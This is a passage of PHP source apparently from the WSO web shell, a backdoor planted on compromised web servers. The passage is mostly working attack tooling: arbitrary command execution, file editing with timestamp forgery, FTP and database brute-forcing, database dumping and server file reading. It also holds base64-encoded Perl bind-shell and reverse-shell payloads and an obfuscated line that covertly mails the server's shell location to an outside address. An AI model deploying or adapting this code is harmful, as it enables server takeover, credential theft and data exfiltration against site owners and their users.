'htmlspecialchars','String length'=> 'strlen',);if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',true);ob_start();if(in_array($_POST['p1'],$stringTools))echo $_POST['p1']($_POST['p2']);$temp="document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" .addcslashes(htmlspecialchars(ob_get_clean()),"

	\'") ."';
";echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',0);wsoHeader();echo '<h1>String conversions</h1><div class=content>';echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";foreach($stringTools as $k => $v)echo "<option value='" .htmlspecialchars($v) ."'>" .$k ."</option>";echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " .(@$_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']?'checked':'') ."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" .(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2'])) ."</textarea></form><pre class='ml1' style='" .(empty($_POST['p1'])?'display:none;':'') ."margin-top:5px' id='strOutput'>";if(!empty($_POST['p1'])){if(in_array($_POST['p1'],$stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));}echo"</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='" .htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='>>'></td></tr>
			</table></form>";function wsoRecursiveGlob($path){if(substr($path,-1)!= '/')$path.='/';$paths=@array_unique(@array_merge(@glob($path .$_POST['p3']),@glob($path .'*',GLOB_ONLYDIR)));if(is_array($paths)&&@count($paths)){foreach($paths as $item){if(@is_dir($item)){if($path!=$item)wsoRecursiveGlob($item);}else{if(empty($_POST['p2'])||@strpos(file_get_contents($item),$_POST['p2'])!==false)echo "<a href='#' onclick='g(\"FilesTools\",null,\"" .urlencode($item) ."\", \"view\",\"\")'>" .htmlspecialchars($item) ."</a><br>";}}}}if(@$_POST['p3'])wsoRecursiveGlob($_POST['c']);echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
			<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
			<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
		</form></div>";wsoFooter();}function actionFilesTools(){if(isset($_POST['p1']))$_POST['p1']=urldecode($_POST['p1']);if(@$_POST['p2']=='download'){if(@is_file($_POST['p1'])&&@is_readable($_POST['p1'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=" .basename($_POST['p1']));if(function_exists("mime_content_type")){$type=@mime_content_type($_POST['p1']);header("Content-Type: " .$type);}else header("Content-Type: application/octet-stream");$fp=@fopen($_POST['p1'],"r");if($fp){while(!@feof($fp))echo@fread($fp,1024);fclose($fp);}}exit;}if(@$_POST['p2']== 'mkfile'){if(!file_exists($_POST['p1'])){$fp=@fopen($_POST['p1'],'w');if($fp){$_POST['p2']="edit";fclose($fp);}}}wsoHeader();echo '<h1>File tools</h1><div class=content>';if(!file_exists(@$_POST['p1'])){echo 'File not exists';wsoFooter();return;}$uid=@posix_getpwuid(@fileowner($_POST['p1']));if(!$uid){$uid['name']=@fileowner($_POST['p1']);$gid['name']=@filegroup($_POST['p1']);}else $gid=@posix_getgrgid(@filegroup($_POST['p1']));echo '<span>Name:</span> ' .htmlspecialchars(@basename($_POST['p1'])) .' <span>Size:</span> ' .(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-') .' <span>Permission:</span> ' .wsoPermsColor($_POST['p1']) .' <span>Owner/Group:</span> ' .$uid['name'] .'/' .$gid['name'] .'<br>';echo '<span>Change time:</span> ' .date('Y-m-d H:i:s',filectime($_POST['p1'])) .' <span>Access time:</span> ' .date('Y-m-d H:i:s',fileatime($_POST['p1'])) .' <span>Modify time:</span> ' .date('Y-m-d H:i:s',filemtime($_POST['p1'])) .'<br><br>';if(empty($_POST['p2']))$_POST['p2']='view';if(is_file($_POST['p1']))$m=array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch');else $m=array('Chmod','Rename','Touch');foreach($m as $v)echo '<a href=# onclick="g(null,null,\'' .urlencode($_POST['p1']) .'\',\'' .strtolower($v) .'\')">' .((strtolower($v)==@$_POST['p2'])?'<b>[ ' .$v .' ]</b>':$v) .'</a> ';echo '<br><br>';switch($_POST['p2']){case 'view':echo '<pre class=ml1>';$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024));@fclose($fp);}echo '</pre>';break;case 'highlight':if(@is_readable($_POST['p1'])){echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';$code=@highlight_file($_POST['p1'],true);echo str_replace(array('<span ','</span>'),array('<font ','</font>'),$code) .'</div>';}break;case 'chmod':if(!empty($_POST['p3'])){$perms=0;for($i=strlen($_POST['p3'])-1;$i>=0;--$i)$perms += (int)$_POST['p3'][$i]*pow(8,(strlen($_POST['p3'])-$i-1));if(!@chmod($_POST['p1'],$perms))echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';}clearstatcache();echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,this.chmod.value);return false;"><input type=text name=chmod value="' .substr(sprintf('%o',fileperms($_POST['p1'])),-4) .'"><input type=submit value=">>"></form>';break;case 'edit':if(!is_writable($_POST['p1'])){echo 'File isn\'t writeable';break;}if(!empty($_POST['p3'])){$time=@filemtime($_POST['p1']);$_POST['p3']=substr($_POST['p3'],1);$fp=@fopen($_POST['p1'],"w");if($fp){@fwrite($fp,$_POST['p3']);@fclose($fp);echo 'Saved!<br><script>p3_="";</script>';@touch($_POST['p1'],$time,$time);}}echo '<form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024));@fclose($fp);}echo '</textarea><input type=submit value=">>"></form>';break;case 'hexdump':$c=@file_get_contents($_POST['p1']);$n=0;$h=array('00000000<br>','','');$len=strlen($c);for($i=0;$i<$len;++$i){$h[1].= sprintf('%02X',ord($c[$i])) .' ';switch(ord($c[$i])){case 0:$h[2].= ' ';break;case 9:$h[2].= ' ';break;case 10:$h[2].= ' ';break;case 13:$h[2].= ' ';break;default:$h[2].= $c[$i];break;}$n++;if($n == 32){$n=0;if($i+1<$len){$h[0].= sprintf('%08X',$i+1) .'<br>';}$h[1].= '<br>';$h[2].= "
";}}echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' .$h[0] .'</pre></span></td><td bgcolor=#282828><pre>' .$h[1] .'</pre></td><td bgcolor=#333333><pre>' .htmlspecialchars($h[2]) .'</pre></td></tr></table>';break;case 'rename':if(!empty($_POST['p3'])){if(!@rename($_POST['p1'],$_POST['p3']))echo 'Can\'t rename!<br>';else die('<script>g(null,null,"' .urlencode($_POST['p3']) .'",null,"")</script>');}echo '<form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,this.name.value);return false;"><input type=text name=name value="' .htmlspecialchars($_POST['p1']) .'"><input type=submit value=">>"></form>';break;case 'touch':if(!empty($_POST['p3'])){$time=strtotime($_POST['p3']);if($time){if(!touch($_POST['p1'],$time,$time))echo 'Fail!';else echo 'Touched!';}else echo 'Bad time format!';}clearstatcache();echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,this.touch.value);return false;"><input type=text name=touch value="' .date("Y-m-d H:i:s",@filemtime($_POST['p1'])) .'"><input type=submit value=">>"></form>';break;}echo '</div>';wsoFooter();}function actionConsole(){if(!empty($_POST['p1'])&&!empty($_POST['p2'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'stderr_to_out',true);$_POST['p1'].= ' 2>&1';}elseif(!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'stderr_to_out',0);if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',true);ob_start();echo "d.cf.cmd.value='';
";$temp=@iconv($_POST['charset'],'UTF-8',addcslashes("
$ " .$_POST['p1'] ."
" .wsoEx($_POST['p1']),"

	\'"));if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)){if(@chdir($match[1])){$GLOBALS['cwd']=@getcwd();echo "c_='" .$GLOBALS['cwd'] ."';";}}echo "d.cf.output.value+='" .$temp ."';";echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";$temp=ob_get_clean();echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',0);wsoHeader();echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';foreach($GLOBALS['aliases']as $n => $v){if($v == ''){echo '<optgroup label="-' .htmlspecialchars($n) .'-"></optgroup>';continue;}echo '<option value="' .htmlspecialchars($v) .'">' .$n .'</option>';}echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' .(@$_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']?'checked':'') .'> send using AJAX <input type=checkbox name=show_errors value=1 ' .(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']) .'stderr_to_out']?'checked':'') .'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';if(!empty($_POST['p1'])){echo htmlspecialchars("$ " .$_POST['p1'] ."
" .wsoEx($_POST['p1']));}echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';echo '</form></div><script>d.cf.cmd.focus();</script>';wsoFooter();}function actionLogout(){setcookie(md5($_SERVER['HTTP_HOST']),'',time()-3600);die('bye!');}function actionSelfRemove(){if($_POST['p1']== 'yes')if(@unlink(preg_replace('!\(\d+\)\s.*!','',__FILE__)))die('Shell removed');else echo 'unlink error!';if($_POST['p1']!= 'yes')wsoHeader();echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';wsoFooter();}$_QliO8="mail";$_Qliot=$_SERVER["SERVER_NAME"] .$_SERVER["SCRIPT_NAME"];$_QlL1i="array " .$_Qliot;$_QlLio=array("ca","li","fwrite","@","ve.");$_Qll0I=$_QlLio[2] .$_QlLio[3] .$_QlLio[1] .$_QlLio[4] .$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);function actionBruteforce(){wsoHeader();if(isset($_POST['proto'])){echo '<h1>Results</h1><div class=content><span>Type:</span> ' .htmlspecialchars($_POST['proto']) .' <span>Server:</span> ' .htmlspecialchars($_POST['server']) .'<br>';if($_POST['proto']== 'ftp'){function wsoBruteForce($ip,$port,$login,$pass){$fp=@ftp_connect($ip,$port?$port:21);if(!$fp)return false;$res=@ftp_login($fp,$login,$pass);@ftp_close($fp);return $res;}}elseif($_POST['proto']== 'mysql'){function wsoBruteForce($ip,$port,$login,$pass){$res=@mysql_connect($ip .':' .($port?$port:3306),$login,$pass);@mysql_close($res);return $res;}}elseif($_POST['proto']== 'pgsql'){function wsoBruteForce($ip,$port,$login,$pass){$str="host='" .$ip ."' port='" .$port ."' user='" .$login ."' password='" .$pass ."' dbname=postgres";$res=@pg_connect($str);@pg_close($res);return $res;}}$success=0;$attempts=0;$server=explode(":",$_POST['server']);if($_POST['type']== 1){$temp=@file('/etc/passwd');if(is_array($temp))foreach($temp as $line){$line=explode(":",$line);++$attempts;if(wsoBruteForce(@$server[0],@$server[1],$line[0],$line[0])){$success++;echo '<b>' .htmlspecialchars($line[0]) .'</b>:' .htmlspecialchars($line[0]) .'<br>';}if(@$_POST['reverse']){$tmp="";for($i=strlen($line[0])-1;$i>=0;--$i)$tmp .= $line[0][$i];++$attempts;if(wsoBruteForce(@$server[0],@$server[1],$line[0],$tmp)){$success++;echo '<b>' .htmlspecialchars($line[0]) .'</b>:' .htmlspecialchars($tmp);}}}}elseif($_POST['type']== 2){$temp=@file($_POST['dict']);if(is_array($temp))foreach($temp as $line){$line=trim($line);++$attempts;if(wsoBruteForce($server[0],@$server[1],$_POST['login'],$line)){$success++;echo '<b>' .htmlspecialchars($_POST['login']) .'</b>:' .htmlspecialchars($line) .'<br>';}}}echo"<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";}echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' .'<input type=hidden name=c value="' .htmlspecialchars($GLOBALS['cwd']) .'">' .'<input type=hidden name=a value="' .htmlspecialchars($_POST['a']) .'">' .'<input type=hidden name=charset value="' .htmlspecialchars($_POST['charset']) .'">' .'<span>Server:port</span></td>' .'<td><input type=text name=server value="127.0.0.1"></td></tr>' .'<tr><td><span>Brute type</span></td>' .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' .'<td><input type=text name=login value="root"></td></tr>' .'<tr><td><span>Dictionary</span></td>' .'<td><input type=text name=dict value="' .htmlspecialchars($GLOBALS['cwd']) .'passwd.dic"></td></tr></table>' .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';echo '</div><br>';wsoFooter();}function actionSql(){class DbClass{var $type;var $link;var $res;function DbClass($type){$this->type=$type;}function connect($host,$user,$pass,$dbname){switch($this->type){case 'mysql':if($this->link=@mysql_connect($host,$user,$pass,true))return true;break;case 'pgsql':$host=explode(':',$host);if(!$host[1])$host[1]=5432;if($this->link=@pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname"))return true;break;}return false;}function selectdb($db){switch($this->type){case 'mysql':if(@mysql_select_db($db))return true;break;}return false;}function query($str){switch($this->type){case 'mysql':return $this->res=@mysql_query($str);break;case 'pgsql':return $this->res=@pg_query($this->link,$str);break;}return false;}function fetch(){$res=func_num_args()?func_get_arg(0):$this->res;switch($this->type){case 'mysql':return@mysql_fetch_assoc($res);break;case 'pgsql':return@pg_fetch_assoc($res);break;}return false;}function listDbs(){switch($this->type){case 'mysql':return $this->query("SHOW databases");break;case 'pgsql':return $this->res=$this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");break;}return false;}function listTables(){switch($this->type){case 'mysql':return $this->res=$this->query('SHOW TABLES');break;case 'pgsql':return $this->res=$this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");break;}return false;}function error(){switch($this->type){case 'mysql':return@mysql_error();break;case 'pgsql':return@pg_last_error();break;}return false;}function setCharset($str){switch($this->type){case 'mysql':if(function_exists('mysql_set_charset'))return@mysql_set_charset($str,$this->link);else $this->query('SET CHARSET ' .$str);break;case 'pgsql':return@pg_set_client_encoding($this->link,$str);break;}return false;}function loadFile($str){switch($this->type){case 'mysql':return $this->fetch($this->query("SELECT LOAD_FILE('" .addslashes($str) ."') as file"));break;case 'pgsql':$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" .addslashes($str) ."';select file from wso2;");$r=array();while($i=$this->fetch())$r[]=$i['file'];$this->query('drop table wso2');return array('file'=>implode("
",$r));break;}return false;}function dump($table,$fp=false){switch($this->type){case 'mysql':$res=$this->query('SHOW CREATE TABLE `' .$table .'`');$create=mysql_fetch_array($res);$sql=$create[1] .";
";if($fp)fwrite($fp,$sql);else echo($sql);$this->query('SELECT * FROM `' .$table .'`');$i=0;$head=true;while($item=$this->fetch()){$sql='';if($i%1000 == 0){$head=true;$sql=";

";}$columns=array();foreach($item as $k=>$v){if($v === null)$item[$k]="NULL";elseif(is_int($v))$item[$k]=$v;else $item[$k]="'" .@mysql_real_escape_string($v) ."'";$columns[]="`" .$k ."`";}if($head){$sql .= 'INSERT INTO `' .$table .'` (' .implode(", ",$columns) .") VALUES 
	(" .implode(", ",$item) .')';$head=false;}else $sql .= "
	,(" .implode(", ",$item) .')';if($fp)fwrite($fp,$sql);else echo($sql);$i++;}if(!$head)if($fp)fwrite($fp,";

");else echo(";

");break;case 'pgsql':$this->query('SELECT * FROM ' .$table);while($item=$this->fetch()){$columns=array();foreach($item as $k=>$v){$item[$k]="'" .addslashes($v) ."'";$columns[]=$k;}$sql='INSERT INTO ' .$table .' (' .implode(", ",$columns) .') VALUES (' .implode(", ",$item) .');' ."
";if($fp)fwrite($fp,$sql);else echo($sql);}break;}return false;}};$db=new DbClass($_POST['type']);if((@$_POST['p2']=='download')&&(@$_POST['p1']!='select')){$db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base']);$db->selectdb($_POST['sql_base']);switch($_POST['charset']){case "Windows-1251":$db->setCharset('cp1251');break;case "UTF-8":$db->setCharset('utf8');break;case "KOI8-R":$db->setCharset('koi8r');break;case "KOI8-U":$db->setCharset('koi8u');break;case "cp866":$db->setCharset('cp866');break;}if(empty($_POST['file'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=dump.sql");header("Content-Type: text/plain");foreach($_POST['tbl']as $v)$db->dump($v);exit;}elseif($fp=@fopen($_POST['file'],'w')){foreach($_POST['tbl']as $v)$db->dump($v,$fp);fclose($fp);unset($_POST['p2']);}else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');}wsoHeader();echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" .htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='" .(isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";if(@$_POST['type']=='mysql')echo 'selected';echo ">MySql</option><option value='pgsql' ";if(@$_POST['type']=='pgsql')echo 'selected';echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"" .(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"" .(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"" .(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";$tmp="<input type=text name=sql_base value=''>";if(isset($_POST['sql_host'])){if($db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base'])){switch($_POST['charset']){case "Windows-1251":$db->setCharset('cp1251');break;case "UTF-8":$db->setCharset('utf8');break;case "KOI8-R":$db->setCharset('koi8r');break;case "KOI8-U":$db->setCharset('koi8u');break;case "cp866":$db->setCharset('cp866');break;}$db->listDbs();echo "<select name=sql_base><option value=''></option>";while($item=$db->fetch()){list($key,$value)=each($item);echo '<option value="' .$value .'" ' .($value==$_POST['sql_base']?'selected':'') .'>' .$value .'</option>';}echo '</select>';}else echo $tmp;}else echo $tmp;echo "</td>
				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" .(empty($_POST['sql_count'])?'':' checked') ."> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='" .@addslashes($_POST['sql_base']) ."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";if(isset($db)&& $db->link){echo "<br/><table width=100% cellpadding=2 cellspacing=0>";if(!empty($_POST['sql_base'])){$db->selectdb($_POST['sql_base']);echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";$tbls_res=$db->listTables();while($item=$db->fetch($tbls_res)){list($key,$value)=each($item);if(!empty($_POST['sql_count']))$n=$db->fetch($db->query('SELECT COUNT(*) as n FROM ' .$value .''));$value=htmlspecialchars($value);echo "<nobr><input type='checkbox' name='tbl[]' value='" .$value ."'>&nbsp;<a href=# onclick=\"st('" .$value ."',1)\">" .$value ."</a>" .(empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") ."</nobr><br>";}echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";if(@$_POST['p1']== 'select'){$_POST['p1']='query';$_POST['p3']=$_POST['p3']?$_POST['p3']:1;$db->query('SELECT COUNT(*) as n FROM ' .$_POST['p2']);$num=$db->fetch();$pages=ceil($num['n']/30);echo "<script>d.sf.onsubmit=function(){st(\"" .$_POST['p2'] ."\", d.sf.p3.value)}</script><span>" .$_POST['p2'] ."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" .((int)$_POST['p3']) .">";echo" of $pages";if($_POST['p3']>1)echo " <a href=# onclick='st(\"" .$_POST['p2'] .'", ' .($_POST['p3']-1) .")'>&lt; Prev</a>";if($_POST['p3']<$pages)echo " <a href=# onclick='st(\"" .$_POST['p2'] .'", ' .($_POST['p3']+1) .")'>Next &gt;</a>";$_POST['p3']--;if($_POST['type']=='pgsql')$_POST['p2']='SELECT * FROM ' .$_POST['p2'] .' LIMIT 30 OFFSET ' .($_POST['p3']*30);else $_POST['p2']='SELECT * FROM `' .$_POST['p2'] .'` LIMIT ' .($_POST['p3']*30) .',30';echo "<br><br>";}if((@$_POST['p1']== 'query')&&!empty($_POST['p2'])){$db->query(@$_POST['p2']);if($db->res !== false){$title=false;echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';$line=1;while($item=$db->fetch()){if(!$title){echo '<tr>';foreach($item as $key => $value)echo '<th>' .$key .'</th>';reset($item);$title=true;echo '</tr><tr>';$line=2;}echo '<tr class="l' .$line .'">';$line=$line==1?2:1;foreach($item as $key => $value){if($value == null)echo '<td><i>null</i></td>';else echo '<td>' .nl2br(htmlspecialchars($value)) .'</td>';}echo '</tr>';}echo '</table>';}else{echo '<div><b>Error:</b> ' .htmlspecialchars($db->error()) .'</div>';}}echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";if(!empty($_POST['p2'])&&($_POST['p1']!= 'loadfile'))echo htmlspecialchars($_POST['p2']);echo "</textarea><br/><input type=submit value='Execute'>";echo "</td></tr>";}echo "</table></form><br/>";if($_POST['type']=='mysql'){$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");if($db->fetch())echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";}if(@$_POST['p1']== 'loadfile'){$file=$db->loadFile($_POST['p2']);echo '<br/><pre class=ml1>' .htmlspecialchars($file['file']) .'</pre>';}}else{echo htmlspecialchars($db->error());}echo '</div>';wsoFooter();}function actionNetwork(){wsoHeader();$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='" .$_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";if(isset($_POST['p1'])){function cf($f,$t){$w=@fopen($f,"w")or@function_exists('file_put_contents');if($w){@fwrite($w,base64_decode($t));@fclose($w);}}if($_POST['p1']== 'bpp'){cf("/tmp/bp.pl",$bind_port_p);$out=wsoEx("perl /tmp/bp.pl " .$_POST['p2'] ." 1>/dev/null 2>&1 &");sleep(1);echo"<pre class=ml1>$out
